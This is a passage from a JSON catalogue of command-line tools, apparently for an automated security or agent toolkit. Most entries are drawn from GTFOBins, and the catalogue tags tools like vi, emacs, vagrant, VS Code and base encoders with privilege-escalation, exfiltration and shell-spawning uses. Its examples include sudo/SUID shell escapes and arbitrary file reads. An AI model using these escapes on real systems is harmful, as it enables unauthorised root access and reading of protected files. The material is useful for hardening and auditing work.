      },
      {
        "description": "cheat.sheets: git",
        "command": "git reset HEAD@{hash}"
      },
      {
        "description": "Move your most recent commit from one branch, to stage it on [BRANCH].",
        "command": "git reset HEAD~ --soft"
      },
      {
        "description": "cheat.sheets: git",
        "command": "git stash"
      },
      {
        "description": "cheat.sheets: git",
        "command": "git checkout [BRANCH]"
      },
      {
        "description": "cheat.sheets: git",
        "command": "git stash pop"
      },
      {
        "description": "cheat.sheets: git",
        "command": "git add ."
      }
    ],
    "execution": {
      "template": "git {action} {repository}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "batch",
      "file-system",
      "output-json",
      "process-manip"
    ],
    "id": "dev-vcs-git",
    "install": [
      {
        "method": "apt",
        "package_name": "git",
        "commands": [
          "apt-get install -y git"
        ]
      },
      {
        "method": "brew",
        "package_name": "git",
        "commands": [
          "brew install git"
        ]
      }
    ],
    "name": "git",
    "namespace": "dev:vcs:git",
    "parameters": [],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Official Git documentation",
        "url": "https://git-scm.com/doc"
      },
      {
        "label": "Pro Git book",
        "url": "https://git-scm.com/book/en/v2"
      }
    ],
    "related_tools": [
      "gh",
      "hub",
      "lazygit",
      "tig"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "analysis",
      "privilege-escalation",
      "credential-access",
      "lateral-movement",
      "execution",
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "git-repository",
        "git-commit",
        "git-diff"
      ],
      "consumes": [
        "source-repository",
        "remote-url"
      ]
    }
  },
  {
    "_body": "",
    "_source": "hg.md",
    "allowed-tools": [
      "hg",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Mercurial VCS, can execute Python code via hgrc or hooks.",
    "examples": [
      {
        "description": "Execute Python code via hg",
        "command": "hg -R /path/to/repo"
      }
    ],
    "execution": {
      "template": "hg -R /path/to/repo",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-vcs-hg",
    "install": [
      {
        "method": "apt",
        "package_name": "mercurial",
        "commands": [
          "apt-get install -y mercurial"
        ]
      }
    ],
    "name": "hg",
    "namespace": "dev:vcs:hg",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/hg/"
      }
    ],
    "related_tools": [
      "git"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# vagrant\n\nvagrant is a command-line utility. Development environment virtualization tool Can leverage capabilities from: ruby.\n",
    "_source": "vagrant.md",
    "allowed-tools": [
      "vagrant"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Development environment virtualization tool; can spawn a shell.",
    "examples": [
      {
        "description": "Leverage ruby capabilities",
        "command": "echo '...' >Vagrantfile\nvagrant up"
      }
    ],
    "execution": {
      "template": "vagrant",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-vm-vagrant",
    "install": [
      {
        "method": "apt",
        "package_name": "vagrant",
        "commands": [
          "apt-get install -y vagrant"
        ]
      }
    ],
    "name": "vagrant",
    "namespace": "dev:vm:vagrant",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/vagrant/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# code\n\ncode is a command-line utility. Visual Studio Code editor; can spawn a shell and execute commands via integrated terminal Can also download files, send a reverse shell, upload files.\n",
    "_source": "code.md",
    "allowed-tools": [
      "code"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "security.execution.reverse-shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Visual Studio Code editor; can spawn a shell and execute commands via integrated terminal Can also download files, send a reverse shell, upload files.",
    "examples": [
      {
        "description": "Download files",
        "command": "code tunnel --name xxxxxx"
      },
      {
        "description": "Send a reverse shell",
        "command": "code tunnel --name xxxxxx"
      },
      {
        "description": "Upload files",
        "command": "code tunnel --name xxxxxx"
      }
    ],
    "execution": {
      "template": "code",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "dev-vscode-code",
    "install": [
      {
        "method": "apt",
        "package_name": "code",
        "commands": [
          "apt-get install -y code"
        ]
      }
    ],
    "name": "code",
    "namespace": "dev:vscode:code",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/code/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "command-and-control",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "pandoc.md",
    "allowed-tools": [
      "pandoc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Document converter, can read files and execute commands via filters.",
    "examples": [
      {
        "description": "Read a file via pandoc",
        "command": "pandoc /path/to/file"
      },
      {
        "description": "Execute command via pandoc filter",
        "command": "pandoc /path/to/file"
      }
    ],
    "execution": {
      "template": "pandoc /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "document-convert-pandoc",
    "install": [
      {
        "method": "apt",
        "package_name": "pandoc",
        "commands": [
          "apt-get install -y pandoc"
        ]
      }
    ],
    "name": "pandoc",
    "namespace": "document:convert:pandoc",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pandoc/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "qpdf.md",
    "allowed-tools": [
      "qpdf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PDF manipulation tool, can read and write files.",
    "examples": [
      {
        "description": "Read a file via qpdf",
        "command": "qpdf /path/to/input /path/to/output"
      }
    ],
    "execution": {
      "template": "qpdf /path/to/input /path/to/output",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "document-pdf-qpdf",
    "install": [
      {
        "method": "apt",
        "package_name": "qpdf",
        "commands": [
          "apt-get install -y qpdf"
        ]
      }
    ],
    "name": "qpdf",
    "namespace": "document:pdf:qpdf",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/qpdf/"
      }
    ],
    "related_tools": [
      "pdftk"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# Emacs — Extensible Text Editor\n\nEmacs is a highly extensible text editor. When used with sudo or elevated privileges, all functions operate within the Emacs terminal interface, allowing file read, file write, and shell spawning via `--eval '(term \"/bin/sh\")'`.\n",
    "_source": "emacs.md",
    "allowed-tools": [
      "emacs",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to edit"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content displayed in editor",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Extensible text editor that can read, write files, and spawn interactive shells.",
    "examples": [
      {
        "description": "Read arbitrary file in emacs terminal interface",
        "command": "emacs /path/to/input-file"
      },
      {
        "description": "Write arbitrary data to file in emacs",
        "command": "emacs /path/to/output-file\nDATA\nC-x C-s"
      },
      {
        "description": "Spawn interactive shell inside emacs terminal",
        "command": "emacs -Q -nw --eval '(term \"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "emacs {Q} {nw} {eval}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "editor-emacs",
    "install": [
      {
        "method": "apt",
        "package_name": "emacs",
        "commands": [
          "apt-get install -y emacs"
        ]
      }
    ],
    "name": "emacs",
    "namespace": "editor:text:emacs",
    "parameters": [
      {
        "name": "Q",
        "type": "string",
        "required": false,
        "description": "Quick start (no init file)",
        "aliases": [
          "-Q"
        ],
        "flag": "-Q"
      },
      {
        "name": "nw",
        "type": "string",
        "required": false,
        "description": "No window system (terminal mode)",
        "aliases": [
          "-nw"
        ],
        "flag": "-nw"
      },
      {
        "name": "eval",
        "type": "string",
        "required": false,
        "description": "Evaluate Lisp expression",
        "aliases": [
          "--eval"
        ],
        "flag": "--eval"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "GNU Emacs documentation",
        "url": "https://www.gnu.org/software/emacs/manual/"
      }
    ],
    "related_tools": [
      "vim",
      "nano",
      "vi"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "file-write",
        "shell-access"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n# vi\n\nvi is a command-line utility. Visual editor, can execute commands and read/write files; can also read arbitrary files, write to arbitrary files, spawn an interactive shell.\n",
    "_source": "vi.md",
    "allowed-tools": [
      "vi"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Vi text editor; can execute commands, read/write files, and spawn shells.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "vi /path/to/input-file"
      },
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "vi /path/to/output-file\niDATA\n^[\nw"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "vi -c ':!/bin/sh' /dev/null"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "vi -c ':shell'"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "vi -c ':set shell=/bin/sh | shell'"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "vi -c :terminal /bin/sh"
      }
    ],
    "execution": {
      "template": "vi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "editor-vi-vi",
    "install": [
      {
        "method": "apt",
        "package_name": "vim",
        "commands": [
          "apt-get install -y vim"
        ]
      }
    ],
    "name": "vi",
    "namespace": "editor:vi:vi",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/vi/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# vim\n\nvim is a command-line utility. Improved vi editor, can execute arbitrary commands and read/write files; can also read arbitrary files Can also leverage capabilities from: python, lua, vi.\n",
    "_source": "vim.md",
    "allowed-tools": [
      "vim"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Vim text editor; can execute arbitrary commands and read/write files via embedded interpreters.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "vim -c ':redir! >/path/to/output-file | echo \"DATA\" | redir END | q'"
      },
      {
        "description": "Leverage python capabilities",
        "command": "vim -c ':py ...'"
      },
      {
        "description": "Leverage lua capabilities",
        "command": "vim -c ':lua ...'"
      },
      {
        "description": "Leverage vi capabilities",
        "command": "vim"
      }
    ],
    "execution": {
      "template": "vim",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "editor-vim-vim",
    "install": [
      {
        "method": "apt",
        "package_name": "vim",
        "commands": [
          "apt-get install -y vim"
        ]
      }
    ],
    "name": "vim",
    "namespace": "editor:vim:vim",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/vim/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "atobm.md",
    "allowed-tools": [
      "atobm",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert ASCII text to PBM bitmap format, can read files via sudo or SUID.",
    "examples": [
      {
        "description": "Read a file via atobm",
        "command": "atobm /path/to/input-file"
      }
    ],
    "execution": {
      "template": "atobm {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "encode-ascii-atobm",
    "install": [
      {
        "method": "apt",
        "package_name": "netpbm",
        "commands": [
          "apt-get install -y netpbm"
        ]
      }
    ],
    "name": "atobm",
    "namespace": "encode:ascii:atobm",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/atobm/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "base58.md",
    "allowed-tools": [
      "base58",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Encoded file content"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Base58 encoding/decoding utility, can read files via sudo.",
    "examples": [
      {
        "description": "Read a file via base58",
        "command": "base58 /path/to/input-file | base58 --decode"
      }
    ],
    "execution": {
      "template": "base58 {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "encode-base-base58",
    "install": [
      {
        "method": "apt",
        "package_name": "base58",
        "commands": [
          "apt-get install -y base58"
        ]
      }
    ],
    "name": "base58",
    "namespace": "encode:base:base58",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/base58/"
      }
    ],
    "related_tools": [
      "base64",
      "base32"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "basenc.md",
    "allowed-tools": [
      "basenc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Encoded file content"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Base encoding/decoding utility from coreutils, can read files via sudo or SUID.",
    "examples": [
      {
        "description": "Read a file via basenc with base64 encoding",
        "command": "basenc --base64 /path/to/input-file | basenc -d --base64"
      }
    ],
    "execution": {
      "template": "basenc {encoding} {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "encode-base-basenc",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "basenc",
    "namespace": "encode:base:basenc",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      },
      {
        "name": "encoding",
        "type": "string",
        "required": false,
        "description": "Encoding type (e.g. --base64)"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/basenc/"
      }
    ],
    "related_tools": [
      "base64",
      "base32",
      "base58"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "basez.md",
    "allowed-tools": [
      "basez",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Encoded file content"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Extended base encoding/decoding utility, can read files via sudo or SUID.",
    "examples": [
      {
        "description": "Read a file via basez",
        "command": "basez /path/to/input-file | basez --decode"
      }
    ],
    "execution": {
      "template": "basez {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "encode-base-basez",
    "install": [
      {
        "method": "apt",
        "package_name": "basez",
        "commands": [
          "apt-get install -y basez"
        ]
      }
    ],
    "name": "basez",
    "namespace": "encode:base:basez",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/basez/"
      }
    ],
    "related_tools": [
      "base64",
      "base32",
      "basenc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# ascii85 — ASCII85 Encoder/Decoder\n\nascii85 encodes and decodes binary data in ASCII85 format. When used with sudo or SUID, it can read arbitrary files by encoding and decoding them back to stdout.\n",
    "_source": "ascii85.md",
    "allowed-tools": [
      "ascii85",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "encode.ascii85",
      "decode.ascii85"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to encode"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content encoded/decoded",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "ASCII85 encoder/decoder for binary-to-text encoding, can encode arbitrary files.",
    "examples": [
      {
        "description": "Read and encode file, then decode back to stdout",
        "command": "ascii85 /path/to/input-file | ascii85 --decode"
      }
    ],
    "execution": {
      "template": "ascii85 {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "encode-ascii85",
    "install": [
      {
        "method": "apt",
        "package_name": "ascii85",
        "commands": [
          "apt-get install -y ascii85"
        ]
      }
    ],
    "name": "ascii85",
    "namespace": "encode:binary:ascii85",
    "parameters": [
      {
        "name": "decode",
        "type": "string",
        "required": false,
        "description": "Decode the input",
        "aliases": [
          "--decode"
        ],
        "flag": "--decode"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ascii85 man page",
        "url": "https://man7.org/linux/man-pages/man1/ascii85.1.html"
      }
    ],
    "related_tools": [
      "base64",
      "basenc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n# base32 — Base32 Encoder/Decoder\n\nbase32 encodes and decodes data in base32 format. When used with sudo or SUID, it can read arbitrary files by encoding them and then decoding the output back to stdout.\n",
    "_source": "base32.md",
    "allowed-tools": [
      "base32",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "encode.base32",
      "decode.base32"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to encode"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content encoded/decoded",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Base32 encoder/decoder that can encode and decode arbitrary files to read their contents.",
    "examples": [
      {
        "description": "Read arbitrary file by encoding then decoding to stdout",
        "command": "base32 /path/to/input-file | base32 --decode"
      }
    ],
    "execution": {
      "template": "base32 {decode}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "encode-base32",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "base32",
    "namespace": "encode:binary:base32",
    "parameters": [
      {
        "name": "decode",
        "type": "string",
        "required": false,
        "description": "Decode the input",
        "aliases": [
          "--decode"
        ],
        "flag": "--decode"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "base32 man page",
        "url": "https://man7.org/linux/man-pages/man1/base32.1.html"
      }
    ],
    "related_tools": [
      "base64",
      "base58",
      "basenc"
    ],
    "resource_profile": {
      "cpu": "low",
